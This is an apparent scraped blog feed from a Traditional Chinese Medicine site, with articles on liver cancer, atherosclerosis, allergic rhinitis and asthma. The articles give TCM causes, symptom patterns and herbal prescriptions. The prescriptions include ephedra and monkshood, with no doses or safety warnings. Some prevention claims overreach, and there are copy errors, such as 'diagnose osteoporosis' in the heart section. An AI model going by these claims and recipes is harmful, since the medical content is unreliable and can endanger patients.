In order to maintain good spleen health, we should avoid eating too much spicy and “cold” food. “Cold” food includes those that are cold in temperature such as ice cream and refrigerated food, and those that have cold properties such as green beans. Avoid taking too much alcohol because alcohol is warm in property, and may aggravate the dampness and heat influences that usually occur in spleen deficient individuals.
   
 

This cycle shows how the five elements restrict one another
 
  This cycle shows how the five organs restrict one another
  Index: restricts
   
In TCM and western medicine, moderate alcohol consumption is recommended. It is now known that alcohol is a common reason for causing cirrhosis (irreversible damage of the liver), which is linked to the development of liver cancer. It is a good idea to discuss with your health care provider as to how much alcohol consumption is considered moderate since this may vary from person to person.
 

Don’t over consume alcohol
   
Healthy lifestyle and health maintenance
  TCM stresses maintaining harmony between our internal body and external environment for achieving optimal health. Therefore, it is essential to keep the body fit and have enough rest. Over-exhaustion is one of the main causes for body disharmony, which may eventually lead to liver cancer. Early detection of unhealthy conditions and disharmony patterns can prevent the body from progressing to liver cancer. These include detecting signs and symptoms associated with spleen deficiency, the influence of dampness, stagnation of qi, excessive heat, blood stasis and yin deficiency.(See symptoms section for detailed symptoms of the disharmony patterns.)Efforts should be taken to resume the body’s balance when disharmony occurs and not let it persist because liver cancer usually occurs from long-term imbalances. By maintaining a balanced and healthy lifestyle, liver cancer can be prevented.
 

maintaining a healthy balanced lifestyle overall will help prevent cancer
]]> Atherosclerosis http://acuherb.us/atherosclerosis/ Thu, 29 Dec 2011 18:06:58 +0000 http://acuherb.us/?p=1380

Atherosclerosis

 

Atherosclerosis of the heart, better known as coronary heart disease, is classified in Traditional Chinese Medicine (TCM) as chest pain syndrome. It is characterized by pain in the chest, which may progress towards the back. Patients can also have shortness of breath, especially when lying flat. Symptoms of heart atherosclerosis have been mentioned in ancient medical texts as far back as the Han Dynasty (206BC-220AD). The famous medical work, Huang Di Nei Jing included a detailed description of this disease, saying, “Patients with chest pain syndrome may have pain inside the chest, fullness and distention in the lower chest, pain in the back of the shoulder as well as pain in the upper arm.” Another example of early writing on this subject is the description in the Synopsis of the Golden Chamber written by the famous Chinese medical doctor Zhang Zhong Jing who was also from the Han Dynasty. He wrote, “Chest pain syndrome usually presents as wheezing and cough, pain in the back of the shoulder and shortness of breath. The pulse at the first position will be slow and sinking while the pulse at the second position will appear rapid with slight tightness. In this case, Gualou Shebai Decoction ( Melon pedicel and Longstamen onion bulb ) should be used.” Since then, other works dealing with the symptoms, diagnosis and different treatments for atherosclerosis have been written at different times.

Causes

According to TCM theory, chest pain syndrome has the following causes:

1. Weakened health due to aging
According to TCM theory, elderly people gradually suffer a decline in kidney qi, resulting in different health problems. Declining kidney functions may be manifested as kidney yin deficiency and/or kidney yang deficiency. A deficiency in kidney yang can lead to yang deficiencies of the five yin organs (liver, heart, spleen, lungs , and kidneys), which means that the functional aspects of these organs will have insufficient support. As a result, heart yang becomes deficient and fails to perform normal functions. On the other hand, if kidney yin becomes deficient, there will be insufficient yin nourishment of the five yin organs leading to heart yin deficiency. (In western terms, heart yang may actually be understood as the pumping action of the heart and is related to the sympathetic nervous system’s excitatory influence on the circulatory system. Heart yin, on the other hand, may be understood as metabolic nourishment of the heart. It is related to the parasympathetic nervous system’s inhibitory influences.) Deficiency of both heart yin and yang will ultimately lead to poor circulation of qi and blood  in the body, since the heart is responsible for “ruling” the blood. Consequently, qi will become too stagnant to “push” the blood around the body, and blood stasis (a condition where the blood
 is unable to flow smoothly) will occur. Blockage of the blood vessels in the heart and meridians  can then lead to chest pain. In western terms, this is known as angina.

2. Improper diet 
If our diet contains too much fatty and greasy food, digestion will be harmed. In TCM, it is said to affect the spleen harmony. As a result, the spleen cannot transform food and liquids into a nutritive essence used for qi and blood formation and then transport this essence throughout the body. The untransformed fluids and food start to accumulate and gradually form into an unhealthy dampness called “phlegm.” Phlegm dampness is one of the pernicious evils that has viscous (sticky) and stagnant properties. Therefore, it blocks the vessels and inhibits the flow of qi and blood, which in turn leads to chest pain.
The relationship between a person’s diet and chest pain in TCM is very important. This thinking is similar to the western medical view that eating too much cholesterol and fat is a factor in the development of atherosclerosis. 

3. Emotional disorder 
As already discussed, unhealthy phlegm dampness will lead to stagnation of qi and blood, which is considered a main cause of chest pain. Sometimes, emotional disorders lead to the formation of phlegm dampness. For example, “thinking too much”, (earth element of the five emotions), will harm the spleen (earth element of the five organs). Without healthy transformation of the spleen dampness will accumulate. Anger (wood element of the five emotions) also affects the liver (wood element of the five organs). As a result, the liver can lose its spreading
properties and fail to maintain the smooth flow of qi. The constrained liver qi will finally form into liver fire. It burns the body fluids and turns them into viscous (sticky) and unhealthy phlegm, which leads to chest pain.

4. Attack of coldness evils 
In TCM, “coldness” is associated with increased viscosity (stickiness) and stagnant properties. An example of this is oil which becomes viscous and does not pour easily when it is cold. As coldness belongs to yin, its influence will inhibit heart 
yang. Without sufficient heart yang, the heart cannot “rule” the blood properly. Therefore, heart vessels and meridians become blocked, and chest pain results. 

Symptoms

In TCM, the symptoms of chest pain syndrome depend on the disharmony patterns.

1. Blockage of heart vessels due to a blood stasis pattern 
When qi becomes stagnant and blood stasis occurs, the patient feels sharp pain in the chest that stays in one spot because the blood is unable to circulate. (It should be noted that since blood stasis belongs to excessive evils, the pain is sharp. If the problem is due to deficiency, the pain is dull.) . Being classified as a yin evil, blood stasis will cause problems in yin environments, especially nighttime. Therefore, people with this problem usually feel more pain at night. On examination, the tongue appears dull and purple, and the pulse feels choppy and sinking, both of which are signs of blood stasis.

2. Blockage due to a phlegm dampness pattern 
An accumulation of unhealthy phlegm dampness constrains the heart yang, making the patient feel an obstructing pain in the chest. As the nearby heart meridian is blocked by the dampness, the pain progresses to the back of the shoulder. Since phlegm dampness is related to disharmony of the spleen, and the spleen rules the four limbs, individuals with this pattern may feel tired and have a heavy feeling in their limbs. They will also have a cough and shortness of breath. On examination, the tongue coating looks greasy and turbid, and the pulse feels smooth.

3. Deficiency of both qi and yin 
Qi is essential for pushing or circulating blood throughout the body. Yin properties are closely associated with blood. If qi and yin are deficient, blood flow will be slowed, leading to blood stasis. As a result, these patients experience paroxysmal (sharp, spasmodic) pain, which occurs from time to time. Insufficient yin nourishment of the heart causes it to beat faster and palpitations to occur. The yin deficiency can also result in a relative excess of yang or illusionary yang, which is not a true yang excess because it is caused initially by yin deficiency symptoms. The relative yang excess rises to the head, leading to dizziness and blurred vision. Patients may look pale and fatigued and have difficulty speaking. Shortness of breath due to qi deficiency can also be present. On examination, the tongue appears red with teeth marks, and the pulse feels weak.

4. Deficiency of heart yang 
Deficiency of heart yang causes disharmony of qi and blood flow and presents with symptoms of dull chest pain and shortness of breath. If the condition is severe, the pain may even spread to the entire back. Without sufficient heart yang, palpitations and spontaneous sweating will occur since sweat is thought to be the “fluid of the heart”. The pain is usually projected to regions along the heart meridian and progresses to the inner side of the upper arm and the armpit. On examination, the tongue looks pale, and the pulse feels frail, sinking and weak.

5. Obstruction of heart yang 
Obstruction of heart yang is usually triggered by an attack of cold evils. As a result of the cold attack, the yang qi movement cannot flow smoothly and becomes obstructed, causing pain in the chest. In severe cases, the pain radiates to the whole back and progresses along the heart meridian, affecting the inner side of the upper arm and armpit. After each episode, spontaneous sweating usually occurs. On examination, the tongue has a white coating, and the pulse is sinking and weak. Sometimes it may feel slow.

6. Deficiency of kidney yang 
A person with kidney yang deficiency will have cold limbs, an aversion to cold and suffer from loin (waist) pain A kidney deficiency often causes fatigue and frequent urination. As discussed before in the ‘Causes’ section, a kidney yang deficiency can lead to a deficiency of heart yang, which in turn, results in chest pain.

Diagnosis

Based on four examination techniques, TCM practitioners will diagnosis osteoporosis according to its clinical symptoms and further characterize it by the disharmony patterns displayed by each individual. At various stages of disease, different disharmony patterns are present and individuals with the same disease will be treated differently depending on the type of disharmony pattern they have. Atherosclerosis usually classify into 6 type: 

1. Blockage of heart vessels due to ae blood stasis pattern.
2. Blockage due to a phlegm dampness pattern
3. Deficiency of both qi and yin
4. Deficiency of heart yang
5. Obstruction of heart yang
6. Deficiency of kidney yang

Detailed descriptions of these have been given in the “symptoms” section.

According to TCM theory, individual with chest pain syndrome should be differentiated from either a fluid retention syndrome in the throat, stomach pain or emergency heart pain.

Fluid Retention Syndrome in the Thorax (Chest):
‘Fluid retention syndrome in the thorax’ is an accumulation of fluid dampness in the thorax. Its presentation is similar to chest pain syndrome. Both lead to chest pain, but fluid retention syndrome is usually associated with persistent distension of the lower chest region, which will be aggravated by coughing, spitting and breathing. Shortness of breath might also be present.

Stomach Pain:
Some forms of chest pain originate from the stomach area and can easily be confused with chest pain syndrome. However, stomach pain is usually associated with hiccupping, flatulence (gas) and regurgitation of stomach acid.

Emergency Heart Pain:
Emergency heart pain is a complication of chest pain syndrome. It is marked by persistent, severe heart pain. Patients look pale, have purple lips, cold limbs and sweat. The pulse is frail and weak. This is an emergency and must be treated immediately by trained medical staff, preferably in a hospital emergency room.

Treatment

TCM treatments are syndrome basis, below are the usual clinical syndromes associated with atherosclerosis:

1. Obstruction of heart-blood

Therapeutic aims: activating the blood and removing the obstructions.

Sample of Prescription: (1) Dan Shen Drink (丹參飲)

dah shen

Red sage root

tan xiang

Sandalwood

sha ren

Fruit of Villous Amomum

In the prescription, red sage root specializes in activating the blood and removing the blood stasis, moreover, it can ease the pain that induced by the stasis. The sandalwood warms the middle burner and helps to regulate the qi circulation in the region. Villous Amomum fortifies the transforming and transporting functions, which help to dispel the qi stagnation in the middle burner. The three herbs interact and promote each other to resume the balance of the heart.

Sample of Prescription: (2) Decoction of Driving out Stasis in the Mansion of Blood (血府逐瘀湯)

dang gui

Chinese angelica root

chi shao

Red peony root

chuan xiong

Szechuan lovage

tao ren

Peach kernel

hong hua

Safflower flower

chai hu

Hare’s ear root

zhi qiao

Orange fruit

In the prescription, angelica, lovage, kernel and safflower flower specialized in activating the blood and removing stasis; hare’s ear regulates the liver functions, orange fruit enhances the qi circulation. The qi dominates the blood movement, as a result, the body’s blood circulation can be improved and cardiac pain is eased.

2. Obstruction of turbid phlegm 
Therapeutic aim: dispelling the turbid phlegm.

Sample of prescription: Decoction of Melon pedicel, Longstamen onion bulb and Pinella tuber (瓜蔞薤白半夏湯加減).

Prevention

TCM always stresses balance and harmony. Paying attention to the following points will help individuals maintain good cardiovascular health.

1. Healthy diet
According to TCM theory, the diet is closely related to spleen health, which in turn is essential for the transformation of food into qi and blood in the body. The accumulation of dampness from improper spleen function is the main cause of chest pain syndrome. Hence, it is extremely important to maintain a healthy diet and avoid fatty, greasy foods.

2. Exercise 
Appropriate exercise helps promote qi and blood flow in the body. Their smooth circulation is essential to maintain cardiovascular health. However, individuals need to avoid over-exercising, as this can exhaust too much qi in our bodies. This is especially important for people who are deficient in qi or yang because over-exercising can trigger chest pain syndrome. It is a good idea to get the advice of your healthcare provider before starting an exercise regimen. 

3. Emotional health 
Proper relaxation and rest are also important for good cardiovascular health. Lack of relaxation and rest can lead to emotional disorders. In TCM, this is said to harm the health of the liver or spleen. The liver maintains the smooth flow of qi while the spleen is essential for transforming fluid and food. If disharmony occurs in these organs, the circulation of qi and blood will be affected which, in turn, causes blood stasis and finally leads to chest pain. 

]]> Allergic Rhinitis http://acuherb.us/allergic-rhinitis/ Thu, 22 Dec 2011 22:43:45 +0000 http://acuherb.us/?p=1369

Allergic Rhinitis

 

Allergic rhinitis or hay fever is a disorder characterized by acute attacks of nasal itching, congestion, watery nasal discharge, and sneezing. The episodes occur frequently with short intervals, or remission periods, between attacks. Attacks commonly occur in the morning and at night. Affected individuals are completely normal between episodes. The disorder is due to a hypersensitivity reaction to certain substances that affect the mucous membranes of the nose and associated glands. The disease presents in both seasonal and perennial forms.

In the traditional Chinese medicine (TCM) classic Huang Di Nei Ning (The Yellow Emperor’s Medicine Classic), a similarly described disease is referred to as “bi-qiu”, or “qiu-ti”. “Bi-qiu” means profuse watery nasal discharge; “qiu-ti” means sneezing and profuse watery nasal discharge.

From the TCM viewpoint, the nose has both respiratory and olfactory (smell) functions. It works closely with the lungs,kidneys, spleen, and meridians. The lungs open into the nose and nasal function is mainly dependent on the action of the lung energy, qi. The free movement of the lung qi keeps the nasal passages clear and maintains an accurate sense of smell. The governing meridian (Du Mai), a channel system of the midline controlled by the kidneys, passes through the nose. The kidneys thus communicate with the nose. The spleen is the primary organ of digestion and its main function is to transform food into essence (jing) . This is then transported to the lungs and heart where it is used to create qi and blood. Normal spleen function therefore facilitates proper functioning of the lungs; when the spleen is impaired, phlegm-related disorders may develop. 

Causes

Qi deficiency (internal factors)
A deficiency inherited at birth, chronic illness, over-exertion, improper diet, or emotional disturbances can damage the organs. Under-functioning of organs and an irregular flow of blood and qi make the body susceptible to illness. In allergic rhinitis, the lungs, spleen, and kidneys are the main organs which are involved.

1. Deficiency of lung qi 
The lungs and nose belong to same system: the lungs control the nose and the nose is the surface orifice of the lungs. Improper function of the lungs will affect the nose. The process also impairs theprotective qi and enables the exogenous evils to invade the nose more easily. The result will be frequent episodes of nasal problems, such as obstruction, watery discharge, and sneezing.
2. Dysfunction of stomach and spleen 
When this occurs a decline in the formation of qi and blood results and the nose will lose its supply of nutrients. This causes a disorder of the nasal mucosa (mucous membranes) and nasal obstruction, watery discharge, and sneezing result. The sense of smell is also affected.
3. Deficiency of kidney qi 
When the kidneys fail to assist the lungs in using qi sent down to them from the lung and to regulate the fluid balance in the body, the circulation of qi and water become affected. Impairment of kidney function will result in inadequate kidney essence (jing) to maintain the functions of the nose. Symptoms will be seen such as a pale, swollen nasal mucosa, frequent episodes of nasal itching, sneezing, and watery discharge.

Invasion of exogenous evils (external factors)
Located in the center of the face, the nose from a TCM viewpoint is sited in the most yang part of the body. Exogenous yang evils, such as wind evil, can attack it easily. This invasion is usually accompanied by other evils such as the coldness, heat, or dampness evil. As the nose is the external opening of the lungs and helps the lungs to control the protective qi, when exogenous evils attack the qi, nasal disorders commonly occur. 
Furthermore, when the body constitution is weak, such as when there is a deficiency of lung qi, or the protective qi is not strong enough, exogenous evils can attack the nose simultaneously and nasal disorders result. TCM considers acute or recent attacks of rhinitis or hay fever to be mainly the result of external factors, whereas chronic or frequent relapses are mainly due to internal factors. 

Symptoms

Chinese practitioners will collect the information they need to make a diagnosis through the process of consultation, assessing systemic symptoms, and then determining the disharmony pattern that fits the individual. The following are the usual types of disharmony patterns for allergic rhinitis: 

1. Deficiency of lung qi, invasion by wind and coldness evils
 

Individuals present with nasal itching, sneezing, congestion, and a watery discharge. Symptoms are usually triggered by being exposed to wind or a cold temperature in the morning. Systemic symptoms include pallor, shortness of breath, ease of sweating on exertion, and aversion to cold.
2. Lung and spleen deficiency,dampness accumulation in the nose
 

Individuals usually present with symptoms such as sneezing with watery discharge and moderately severe nasal obstruction. These can be accompanied by heaviness in the forehead or a pounding pain between the eyebrows. Other symptoms include a loss of sense of smell, fatigue, shortness of breath, aversion to cold, a heavy sensation in the limbs, abdominal fullness, a poor appetite, and diarrhea.
3. Depletion in kidney yang, lungs lose promoting and warmth support from the kidneys
 

Individuals suffer from nasal obstruction, sneezing with watery discharge, severe aversion to cold, and coldness in the limbs. The symptoms are usually triggered by a cold temperature. Other symptoms include dizziness, ringing in the ears, frequent nocturnal urination, impotence and premature ejaculation, and a hot sensation in the palms and soles of the feet.
4. Spleen deficiency, stagnation of phlegm evil
 

Individuals present with a more severe nasal obstruction, copious watery discharge, and discomfort from nasal itching. They may also experience heaviness in the head, weakness of the limbs, fullness and discomfort in the chest and gastric regions. They may produce copious white sticky sputum, and have a poor appetite, and diarrhea.
5. Invasion of wind and heat evils in the lungs
  Typical presentations of this type of disharmony pattern include frequent episodes of sneezing, nasal itching, and complete obstruction of the nasal orifices by a heavy discharge. When stimulated by foreign evils or heat evil, a copious watery discharge will develop. Periodic relapse and remission will occur. There will be general symptoms like fever, aversion to cold, headache, and sweating.

Diagnosis

Based on the four examination technique, TCM practitioners make a diagnosis according to clinical symptoms and further characterize the disorder by the disharmony patterns displayed by each individual. At various stages of disease, different disharmony patterns are present and individuals with the same disease will be treated differently depending on the type of disharmony pattern they have. 

In allergic rhinitis, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows:

1. Deficiency of lung qi, invasion by wind and coldness evils
  Due to a constitutional weakness, the individual is susceptible to influenza or other illnesses. In terms of TCM, this usually means that the individual does not have strong protective qi and this enables the wind evil and coldness evils to invade the nose easily. On examination, the nasal mucosa is pale and swollen, with a slight watery discharge. The tongue is pale and covered by white fur. The pulse is weak and feeble.
2. Lung and spleen deficiency, dampness accumulation in the nose
  When the lungs and spleen are deficient or under-functioning, an imbalance of body-fluid metabolism and dampness evil ccumulation results. Dampness evils flow through the meridians and accumulate in the nose to produce a swollen, pale nasal mucosa and excessive secretions. On examination, the nasal mucosa is clearly swollen and polyps (small growths) or similar changes may be seen. The tongue appears bulky, pink and furrowed, and is covered by white greasy fur. The pulse is weak and hesitant.
3. Depletion in kidney yang, lungs lose promoting and warmth support from the kidneys
  In TCM, the kidney yang is considered to be the fundamental source of promotion and provision of warmth to the body. Depletion of kidney yang usually occurs after long-term or severe damage of organs. It leads to under-functioning of the organs, interrupted flow of qi and blood, and also affects the functioning of the lung and the nose. On examination, the tongue is pink and covered with moist white fur. The pulse is weak and thready.
4. Spleen deficiency, stagnation of phlegm evil
  TCM practitioners believe that the spleen and stomach are very vulnerable to an improper diet, invasion by exogenous evils, or the effects of other organ deficiencies. A deficiency or under-functioning of the spleen leads to a decline in qi and blood or acquired essence (jing)production. The consequence of this is that the body is malnourished and phlegm evil will accumulate. The effect on the nose is to cause it to lose its supply of nutrients and for the nasal mucosa to develop related syndromes. On examination, the tongue is pale and covered by white greasy fur. The pulse is slippery.
5. Invasion of wind and heat evils in the lungs
  When exogenous evils, like wind and heat, attack the protective qi, a nasal disorder usually presents as part of the lung-wei syndrome. On examination, the nasal mucosa is swollen, there is congestion, and some watery discharge, or the discharge may be slightly sticky and thick. The tongue is red and covered with thin fur that may be yellow. The pulse is floating and rapid.

Treatment

Internal Therapy

  Deficiency of lung qi, invasion by wind and coldness evils


Therapeutic aim:To warm up the lungs and aid the protective qi, eliminate wind evil and ventilate the nasal passages.

Prescription: 

huang qi milk vetch root
bai zhi large head atractylodes root
fang feng divaricate saposhnikovia root
bai zhi dahvrain angelica root
xin yi blond magnolia flower
cang er zi Siberian cocklebur fruit
shi chang pu grassleaf sweet flag rhizome
wu wi zi Chinese magnolia vine fruit
da zao Chinese date
xi xin Manchurian wild ginger
jiu gan cao liquorice root (processed with honey)

 

  Lung and spleen deficiency, dampness accumulation in the nose


Therapeutic aim: To invigorate the spleen and replenish qi, clear up dampness evil and ventilate the nasal passages.

Prescription: 

huang qi milk vetch root
bai zhi large head atractylodes root
chen pi dried tangerine peel
xin yi blond magnolia flower
dang shen pilose asiabell root
chai hu Chinese tororwax root
gui zhi cassia twig
bai shao white peony root
xi xin Manchurian wild ginger
ma huang ephedra
wu wi zi Chinese magnolia vine fruit
jiu gan cao liquorice root (processed with honey)

 

  Depletion in kidney yang, lungs lose promoting and warmth support from the kidneys

Therapeutic aim: To warm up the kidneys and invigorate yang, benefit the lungs and stop discharge. 

Prescription: 

shu di huang processed rehmannia root
shu fu zi common monkshood daughter root (processed)
gui zhi cassia twig
shan yao common yam root
ze xie oriental water plantain root
shan zhu yu Asiatic cornelian cherry fruit
fu ling Indian bread
huang qi milk vetch root
bai zhi large head atractylodes root
fang feng divaricate saposhnikovia root
xin yi blond magnolia flower
jiu gan cao liquorice root (processed with honey)

 

  Spleen deficiency and stagnation of phlegm evil

Therapeutic aim: To reinforce the spleen, clear up dampness evil and ventilate the nasal passages.

Prescription:

dang shen pilose asiabell root
bai zhi large head atractylodes root
fu ling Indian bread
chen pi dried tangerine peel
fa ban xia pinellia tuber (processed with radix glycyrrhizae and lime)
jiu gan cao liquorice root (processed with honey)
xin yi blond magnolia flower
cang er zi Siberian cocklebur fruit
bai zhi dahvrain angelica root
zi wan tatarian aster root
shan yao common yam root

 

  Invasion of wind and heat evils in the lungs

Therapeutic aim: To expel the heat and phlegm evils, ventilate the nasal passages and stop discharge.

Prescription: 

huang qin baical skullcap root
zhi zi cape jasmine fruit
zhi mu common anemarrhena rhizome
sang bai pi white mulberry root-bark
dong gua ren Chinese waxgourd seed
xin yi blond magnolia flower
cang er zi Siberian cocklebur fruit
bai zhi dahvrain angelica root
jie geng platycodon root
feng fang honeycomb
gan cao liquorice root

External Therapy

  Bi-yun powder insufflated into the nose:
e bu shi cao small centipeda herb
chung xiong Szechwan lovage rhizome
xin yi blond magnolia flower
xi xin Manchurian wild ginger
qing dai natural indigo

 

  Eardust of yellow croaker tampon inserted into the nose:
yu nao shi powder eardust of yellow croaker
bing pian borneol
xin yi blond magnolia flower
xi xin Manchurian wild ginger

Acupuncture
The use of acupuncture at the distal and proximal points, or along the meridians, helps to regulate the meridians and qi movement, facilitate the flow of lung qi and ventilate the nose.

Major acupuncture points: ying-xiang, shang-xing, he-liao, feng-chi and feng-fu..
Minor acupuncture points: bai-hui, yang-bai, cuan-zhu, pi-shu, shen-shu and zu-san-li. 

Massage
Massage of the lumbar and sacral regions of the spine, especially massage of the acupuncture points ying-heung, shen-shu and ming-men, help to strength the yin and yang of the body and are commonly applied in nasal diseases.

Prevention

Living environment

Attention should be paid to climatic changes. In the winter and autumn especially, it is important to avoid staying in environments with extreme temperature changes. Suitable clothes should be worn to prevent the invasion of exogenous evils.
Exposure to stimulants should be avoided. These include irritant substances such as odor or dust. The living environment (home) should be cleaned regularly. Dry, sunny places should be chosen to live in whenever possible.
   
Moderate and regular exercise will help strengthen the body’s resistance.
   
 
Dietary management
From a TCM perspective, foods and drugs come from the same source, so foods can have similar properties and functions to those of drugs. Foods and drugs are classified into four characteristics and five tastes. The four characteristics refer to the healing nature of Chinese herbs. These properties are cold, hot, warm and cool. The five tastes are acrid, sweet, sour, bitter and salty.

During attacks of allergic rhinitis certain foods should be eaten more frequently. These include foods that are acrid tasting, foods that promote warmth and sweating, and foods that facilitate the lung’s dissemination functions. These foods help to eliminate the exogenous evils. Such foods include spring onions, ginger, or cilantro (fresh coriander).
   
   
In general, excessive consumption of cold, greasy, and spicy foods should be avoided. Known sea-food or other foods that trigger the disorder should likewise not be eaten.
   
   
Foods which will tonify, eg, Chinese date, walnut, Chinese yam, dried mushrooms and mutton should be eaten. These foods help to invigorate the qi, cure deficiency, tonify the spleen, build up the body’s resistance.
   
   


]]> Asthma http://acuherb.us/asthma/ Thu, 22 Dec 2011 02:40:45 +0000 http://acuherb.us/?p=1365

 Asthma

 

Asthma is classified, in Traditional Chinese Medicine (TCM), as wheezing and/or panting syndromes. It was first described in the ancient medical book Summary of the Golden Chamber. Asthma was mentioned as a kind of “cough resulting from the ascending movement of qi (panting).” A narrowed airway caused a whistling sound during breathing, which was described as a “chicken sound in the throat.” Another medical book, Treatise on the Causes and Symptoms of Disease (610 AD), also pointed out other asthma characteristics such as its “regular recurrence” in individuals. 

Although both of these syndromes are associated with asthma in western medicine, they have distinct differences. The Chinese term for wheezing is “xiao.” A wheezing syndrome is characterized by congestion with phlegm (bronchial secretions) and gasping which produces a whistling sound in the “throat.” (The word “throat ” refers to the whole respiratory tract). It also is associated with rapid breathing and shortness of breath. In severe cases, these symptoms cause difficulty lying down. 

The Chinese term for panting is “chuan.” A panting syndrome is characterized by rapid breathing, an open mouth, dyspnea (difficulty breathing) and elevated shoulders. Elevated shoulders occur when individuals have persistent difficulty breathing and need to use their shoulder muscles in addition to their chest muscles to support respiration. In western medicine, this is referred to as the use of accessory breathing muscles. 

Wheezing and panting syndromes can occur simultaneously or alone. TCM treats asthma according to the classification patterns and symptoms the individual exhibits.

Causes

Asthma presents as a wheezing and/or panting syndrome.

Wheezing syndromes are caused by: 

1. Pernicious evils (environmental factors leading to illness). These include wind, summer heat, dampness, dryness, cold and fire.
2. Improper diet
3. Emotional disturbance
4. Stagnation of liver qi (When the liver is healthy, it maintains the smooth movement of qi though its flowing and spreading functions.)

These factors impair the organs, (lung, spleen and kidneys), responsible for fluid metabolism. As a result, an accumulation of unhealthy dampness in the body, known as “phlegm,” occurs. Obstruction of the airways develops when phlegm rises with qi. Phlegm also hinders the movement of qi. When this happens, the lungs cannot descend and disseminate qi properly. As a result, the airway will narrow and phlegm and qi will fight each other, producing a wheezing or whistling sound in the throat.

Panting syndromes are mostly caused by lung and kidney disharmony.

Normally, the lungs descend and disseminate the different types of qi to the rest of the body. If lung disharmony is present, panting will occur. There are several reasons for this: 

1. The attack of wind-heat or wind-cold (two types of pernicious evils) leads to a problem with regulating sweat. Normal sweat regulation is important for the healthy dissemination of lung qi.
2. Spleen disharmony causes problems with the body’s digestive functions and results in an accumulation of dampness or “phlegm.” When the phlegm is sent upwards to the lungs, it affects their normal descending properties.
3. Emotional disturbance
4. Emotional disorders lead to either stagnation of qi or liver disharmony. As the lungs rule qi, and the liver rules the flowing and spreading of qi, any stagnation will cause disharmony of lung function.

Kidney disharmony also plays a role in panting syndromes. The kidneys rule the grasping of qi (the regulation of healthy inhalation), and the lungs rule qi (regulation of breathing). A deficiency in either the lungs or kidneys can lead to a panting syndrome. 

Symptoms

Asthma symptoms are grouped into different classification patterns depending on their manifestations.

Exacerbation period 
During an exacerbation of asthma, two different clinical patterns can present. These are the cold and heat types. Cold and heat influences are either environmental or physiological factors that trigger the exacerbation. They both belong to the “pernicious evils” in TCM.

1.Cold type asthma 
Cold influences cause stasis (a condition where the flow of a substance is either slowed down or stopped), just as oil becomes viscous (thick) when its temperature is lowered. When a cold influence affects the body, phlegm turns white, thick and sticky, and it is not easily loosened with a cough. Cold phlegm has stasis properties, which lead to chest congestion and obstruction of qi movement and breathing. This results in wheezing and a feeling of chest tightness and fullness. Lastly, the lungs lose their ability to descend and disseminate qi properly. 

Phlegm is a manifestation of an excessive yin pattern. (Yin is usually used to describe material things.) An accumulation of phlegm leads to an imbalance, which results in an excess of yin and a relative deficiency of yang. This causes a dim and bluish complexion, cold limbs, an aversion to cold temperatures, and a preference for warm drinks. Individuals may only sweat a small amount because the cold symptoms are unable to escape to the exterior of the body. People with cold type asthma have a white and greasy or white and slippery tongue coating and a floating, tight pulse.

2.Heat type asthma 
Heat influences have “excitation” properties which manifest as excessive yang patterns. They produce yellow, sticky and thick phlegm and coarse breathing. As lung qi is reversed from its normal descending flow, a paroxysmal cough and a roaring wheezing sound occur because of an accumulation of “heat phlegm.” With the flare up of “heat phlegm,” individuals also experience chest discomfort and thirst. People with heat type asthma have a red face and a red tongue with a yellow, greasy coating. The pulse usually feels slippery and rapid. 

Non-exacerbation period 
During a non-exacerbation period, the symptoms of asthma can be classified into deficiencies of the lungs, spleen and kidneysor any combination of these.

1.Deficiency of lungs
Normal lung function affects the health of some exterior body parts such as the hair, skin and sweat glands. If the exterior is weak and lacks sufficient support from protective qi, (a type of qi which acts like the immune system), the body is easily attacked by the “pernicious evils” (environmental factors which cause illness). With weakened lung qi, spontaneous sweating and an aversion to wind occur. Because the lungs open into the nose, individuals may experience sneezing and nasal congestion with a clear discharge. Deficient lungs cannot properly rule qi, which leads to symptoms of shallow breathing and a cough with thin, white sputum. Individuals with a lung deficiency look pale and have a tongue with a thin white covering. A thin and weak pulse is felt upon palpation.

2.Deficiency of spleen 
The spleen is an essential organ in TCM. It is responsible for digestion and transforming food into food essence, which is in turn transported to the lungs and distributed to the rest of the body. A spleen deficiency can cause asthma, because when it is unable to transform fluids, phlegm accumulates. People with a spleen deficiency have poor appetites and can develop epigastric (stomach region) problems, loose stools or even diarrhea. The spleen is also essential for production of qi and blood and rules the limbs. A deficiency can cause fatigue, shortness of breath and a low voice. A pale tongue with a thin, greasy or white, slippery coating and a thin, soft pulse are the usual signs of spleen deficiency.

3.Deficiency of kidneys 
The kidneys rule the grasping of qi, which is responsible for healthy, deep inhalation when breathing. If there is a kidney deficiency, qi is said to be unable to return to its origin, (the kidney region), and shallow breathing occurs. The shallow breathing becomes worse on exertion and leads to wheezing or shortness of breath. The kidneys also rule the bone and are responsible for producing bone marrow. Soreness and weakness of the waist and legs and insufficient nourishment of the brain causing ringing in the ears are other symptoms that can occur with a kidney deficiency. If the kidney deficiency belongs to a yang deficiency, individuals have cold limbs and an aversion to cold, but if the deficiency belongs to a yin deficiency, individuals have red cheeks, night sweats and afternoon hot flashes.

Diagnosis

Differentiation between chronic cough and asthma
Asthma or wheezing/panting syndrome is associated with episodes of remission and serious exacerbations, whereas a chronic cough is persistent and does not go away. They can be further differentiated by the characteristics of the cough. With a chronic cough, the coughing sound is usually stronger than the wheezing sound. With asthma, the reverse is true. In general, the wheezing sound is stronger.

Differential classification of disharmony patterns 
Asthma belongs to a disharmony pattern featuring both excessive pernicious evils and deficient normal qi. Mainly an excess of pernicious evils, (environmental factors that cause illness) causes exacerbations of asthma. This type of asthma is associated with coarse breathing and a high-pitched wheezing sound. Each breath is long and deep with a rapid expiration time. The pulse is strong, and generally, the body is not in a weak state. 

The non-exacerbation period is related to a deficiency of normal qi. Asthma due to deficient normal qi is associated with weak breathing and a low wheezing sound. The breath is short and not smooth. There is usually a long history of asthma, where the individual experiences difficulty with inspiration. This deficient-type of asthma is associated with a sinking and weak pulse or a thin and rapid pulse .

After differentiating between an excessive evil type and a deficient normal qi type, it is also necessary to distinguish the type of phlegm (hot or cold) and identify the disharmonious organs. Details of the corresponding symptoms are listed under the “Symptoms Section”. 

The major disharmony patterns of asthma are as follows: 

Exacerbation: 
1. Cold type asthma 
2. Heat type asthma 

Non-exacerbation: 
1. Lung Deficiency 
2. Spleen Deficiency
3. Kidney Deficiency

Treatment

The TCM treatment strategy for asthma is based on the diagnosed disharmony patterns.

Cold type asthma 
This type of asthma is caused by the cold evils, the therapeutic aim is to remove the cold evils by warming the lungs. In addition, this decoction helps remove the phlegm and relieve the wheezing.

Decoction examples:
Shegan mahuang decoction

She gan (Blackberrylily Rhizome)
Ma huang (Ephedra)
